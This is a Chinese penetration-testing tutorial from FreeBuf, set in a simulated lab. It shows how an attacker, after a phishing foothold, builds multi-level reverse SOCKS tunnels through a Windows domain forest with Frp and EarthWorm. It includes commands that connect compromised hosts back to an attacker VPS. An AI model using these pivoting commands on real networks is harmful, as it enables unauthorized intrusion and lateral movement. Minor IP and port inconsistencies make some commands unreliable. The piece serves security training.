
HW期间,为防范钓鱼,即日起FreeBuf将取消投稿文章的一切外部链接。给您带来的不便,敬请谅解~
系列文章
简介
渗透测试-地基篇
该篇章目的是重新牢固地基,加强每日训练操作的笔记,在记录地基笔记中会有很多跳跃性思维的操作和方式方法,望大家能共同加油学到东西。
请注意:
本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。
名言:
你对这行的兴趣,决定你在这行的成就!
一、前言
渗透测试人员需谨记《网络安全法》,根据《网络安全法》所示,未经授权的渗透测试都是不合法的,不管是出于何种目的。红队渗透人员在进行渗透期间,渗透测试的行为和项目必须在被渗透方授予权限可渗透后,才可进行渗透测试操作。
如今有一家dayu公司,需要对自己的业务以及整体的内网框架体系进行隐患挖掘,授予权限我进行对dayu公司的渗透测试操作,在签署了双方的《渗透测试授权书》后,我开始了对dayu公司的渗透之旅。
跳开思维讲,我此篇内容是内网渗透篇章,通过我的专栏:
社工钓鱼 -> 免杀过全杀软 -> 内网渗透
那么我通过了社工钓鱼的各种方式,将钓鱼文件进行免杀后,成功钓鱼到了该公司外围人员计算机,并控制了该计算机权限获得shell,并成功登录对方电脑。
通过前期对域用户大量的信息收集,画出了相对应的简单网络拓扑图,下一步需要进攻子域控制器,思路如下:
域普通用户 -> 子域控制器 -> 父域控制器 ->辅域控制器
通过该思路进攻即可,还有另外一条思路:
域普通用户 -> 10.10.21.0/24二级区域 -> 继续延伸
渗透人员最爱系统之一有kali,还有各类windows集成的武器库系统,那么我需要把进行隐藏通信隧道技术,通过各种方法将内网的流量代理出来进一步的渗透。
不会隐藏通信隧道技术,就无法对内网多级网络进行进一步的渗透!!
二、环境介绍
目前信息收集获得的网络情况:(模拟环境)
拓扑图简介
为了更好的演示接下来的渗透和回看总拓扑图公司搭建环境情况:
虽然市面上有非常非常多的linux和windows的隧道代理技术,通过拓扑图可知道,对方目前都是windows系统,所以接下来将演示windows环境下通信多级隧道技术,如何在多级内网环境遨游!
三、Frp穿透域森林
frp 是一个专注于内网穿透的高性能的反向代理应用,支持 TCP、UDP、HTTP、HTTPS 等多种协议。可以将内网服务以安全、便捷的方式通过具有公网 IP 节点的中转暴露到公网。
FRP好处是利用内网或防火墙后的机器(例如家用路由器后的192.168段的IP),对外网环境提供http或https服务。利用获取到权限的普通域用户机器,对外网环境提供tcp和udp的服务,使得外网攻击端可以对内网进行深入旅行!
1、Frp(一级代理)
通过拓扑图可知,目前存在子域控制器,需要对子域控制器进行渗透,但外网环境攻击武器库无法连接子域控制器10.10.3.6机器,我通过Frp进行代理渗透!
项目地址:
https://github.com/fatedier/frp/tags
1)VPS计算机执行
将文件上传到VPS计算机:
执行:
frps.exe -c frps.ini
成功开启流量代理隧道!
2)域用户计算机执行
将文件上传:
执行:
frpc.exe -c frpc.ini
成功建立流量代理隧道!注意:如果未成功会直接断开!
2、Proxifier全局代理
Proxifier也是一款非常好用的全局代理软件,提供了扩平台的端口转发和代理功能,使用于windows、Linux、macos平台,用得最多的一款全局代理工具!攻击设备需要全局代理工具,这样对渗透中才没有更多的阻碍!喜爱工具之一!
1)安装执行安装完成后,双击打开,选择配置文件-代理服务器!
2)设置代理服务器点击添加-服务器地址填写Frp建立隧道的VPS计算机IP地址和端口,协议选择SOCKS5协议!
3)检查隧道连通性可看到通过检查,代理隧道流量正常!
4)攻击端计算机执行
可看到通过VPS代理的7777端口隧道连接到了内网子域控制器10.10.3.6设备,接下来可以对子域控制器进行渗透了!
3、Frp(多级代理)
为了更好的演示代理环境效果,为后期旅行做铺垫,在信息收集下阶段通过netview工具在普通域用户下发现了10.10.21.0/24多级内网环境IP的存在。假设已经拿下了子域控制器后,发现内网还存在10.10.21.0/24多级内网后扫描发现21段另外存活机器,那么需要攻击21段存活的机器就需要进行多级代理到外网攻击机器上进行后渗透!
1)环境介绍
域环境:
A:VPS机器:192.168.253.11 B:域普通用户:192.168.253.35和10.10.3.100 C:子域控制器:10.10.3.6和10.10.21.0/24
内网C主机不能直接连接vps,可以连接内网B主机,B主机可以直接连接vps,所以通过B作为跳板,将socks代理建设在内网C主机中!
2)首先VPS计算机执行
将文件上传到VPS计算机:
执行:
frps.exe -c frps.ini
成功开启流量代理隧道!
3)接着域普通用户执行
Frps.ini设置:
执行:
frps.exe -c frps.ini
成功开启流量代理隧道!
然后Frpc.ini设置:
执行:
frpc.exe -c frpc.ini
成功和VPS建立隧道!
4)最后子域控制器执行
执行:
frpc.exe -c frpc.ini
成功建立隧道!
5)攻击端测试攻击端修改端口为1080即可!
通过测试,Frp多级代理隧道建立成功,攻击端全局代理连接成功,可以对10.10.21.0/24多级内网段进行横向渗透了!
四、EW穿透域森林
EarthWorm(EW)是一套便携式的网络工具,具有SOCKS 5 服务架设和端口转发两大核心功能,可以在复杂的网络环境中实现网络穿透。
EW能够正向、反向、多级级联等方式建立网络隧道。EW工具包提供了多个可执行文件,以适用不同的操作系统(Linux、windows、Mac OS、ARM-Linux均包含在内),由于域森林目前全是windows系统环境,将演示如何利用EW在多级网络中遨游!
项目地址:
https://github.com/idlefire/ew
1、环境介绍
为了更好的演示代理环境效果,为后期旅行做铺垫,在信息收集下阶段通过netview工具在普通域用户下发现了10.10.21.0/24多级内网环境IP的存在,继续在二级内网环境中遨游,发现了存在三级内网环境,如何发现以及攻击过程会在后面篇章详细介绍攻击过程和方法,这只是假设!
通过总拓扑图,假设已经拿下了子域控制器后,横向又拿下了财务部独立子域后发现还有个核心系统需要继续横向渗透,需要进行三级代理,接下来将演示从一级代理到三级代理如何建立隧道进行横向内网遨游!
2、EW(一级代理)
1)环境介绍
域环境:
A:VPS机器:192.168.253.11 B:域普通用户:192.168.253.35和10.10.3.100 C:子域控制器:10.10.3.6
内网C主机不能直接连接vps,可以连接内网B主机,B主机可以直接连接vps,所以通过B作为跳板,将socks代理建设在内网C主机中!
2)VPS计算机执行
将文件上传到VPS计算机后执行:
ew_for_Win.exe -s rcsocks -l 1008 -e 888
即在公网VPS上添加一个转接隧道,把1080端口收到的代理请求转发给888端口
3)域用户计算机执行
将文件上传后执行:
ew_for_Win.exe -s rssocks -d 192.168.253.16 -e 888
即在IP地址为192.168.253.11的机器上启动SOCKS5服务并反弹到VPS的888端口!
回看VPS回显:rssocks cmd_socket OK!
表示成功建立隧道!
4)测试内网隧道成功通过Proxifier全局代理EW建立的一级隧道代理,成功登录子域控制器内网环境设备!
3、EW(二级代理)
1)环境介绍
域环境:
A:VPS机器:192.168.253.11 B:域普通用户:192.168.253.35和10.10.3.100 C:子域控制器:10.10.3.6和10.10.21.0/24 D主机存在(独立域)
内网D主机不能直接连接vps,可以连接内网C主机,内网C也无法连接VPS,可以链接内网B主机,B主机可以直接连接vps,所以通过B作为跳板,将socks代理建设在内网C主机中!
2)首先在VPS上执行(A):
ew_for_Win.exe -s lcx_listen -l 1080 -e 888
即在公网VPS中添加转接隧道,将1080端口收到的代理请求转发给888端口。
3)接着子域控制器(C)执行:
ew_for_Win.exe -s ssocksd -l 999
利用socksd方式启动999端口的SOCKS代理
4)然后普通域用户(B)执行:
ew_for_Win.exe -s lcx_slave -d 192.168.253.11 -e 888 -f 10.10.3.6 -g 999
普通域用户执行,即将VPS的888端口和B主机的999端口连接起来回到VPS上看回显:rssocks cmd_socket OK!表示成功建立隧道!
5)测试隧道二级代理
攻击机上使用Proxifier全局代理:
成功连通建立的二级隧道代理访问到财务部独立域内网环境设备!
4、EW(三级代理)
1)环境介绍
域环境:
A:VPS机器:192.168.253.11 B:域普通用户:192.168.253.35和10.10.3.100 C:子域控制器:10.10.3.6和10.10.21.5 D:财务部独立域:10.10.21.2和172.16.5.0/24 E:核心区
内网E核心区主机不能直接连接vps,可以连接内网D主机,内网D主机不能直接连接vps,可以连接内网C主机,内网C主机不能直接连接vps,可以连接内网B主机,B主机可以直接连接vps,所以通过B作为跳板,将socks代理建设在内网C主机中后!
2)首先在VPS上执行(A):
ew_for_Win.exe -s rcsocks -l 1080 -e 888
在VPS上执行,将1080端口收到的代理请求转发到888端口
3)接着普通域用户执行(B):
ew_for_Win.exe -s lcx_slave -d 192.168.253.11 -e 888 -f 10.10.3.6 -g 999
在普通域用户(B)上将VPS(A)的888端口与B主机的999端口连接起来
4)接着子域控制器执行(C):
ew_for_Win.exe -s lcx_listen -l 999 -e 777
在子域控制器(C)主机上将999端口收到的代理请求转发到777端口
5)最后财务部独立域执行:
ew_for_Win.exe -s rssocks -d 10.10.21.5 -e 777
在财务部独立域(D)主机上启动SOCKS5服务并反弹到777端口
回到VPS和子域控制器都能看到回显:rssocks cmd_socket OK!表示成功建立了三级隧道代理!
6)测试隧道三级代理成功连通建立的二级隧道代理访问到财务部独立域内网环境设备!
这种情况就是多级代理情况,在渗透测试内网中,遇到多层内网环境核心区域,ew可以实现多级代理传输!可以继续对核心区继续横向渗透遨游了!
五、总结
不会通信隧道代理技术,就无法在内网中旅行,无法见到更多的风景,学习今天的Frp和EW,就可以在该公司域森林中遨游了!
公司域森林搭建 -> 域森林信息收集上 -> 域森林信息收集下 -> 域森林通信隧道建立上 -> 域森林通信隧道建立下 -> ......
接下来在《域森林中权限提升(上)》中会接触各种服务、策略、溢出和UAC等权限提升的方式方法!如何建立内网渗透框架一步步攻击该公司内网环境的思路和方法,请看下篇域森林中权限提升!
希望大家提高安全意识,没有网络安全就没有国家安全!
今天基础牢固就到这里,虽然基础,但是必须牢记于心。
作者:大余
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)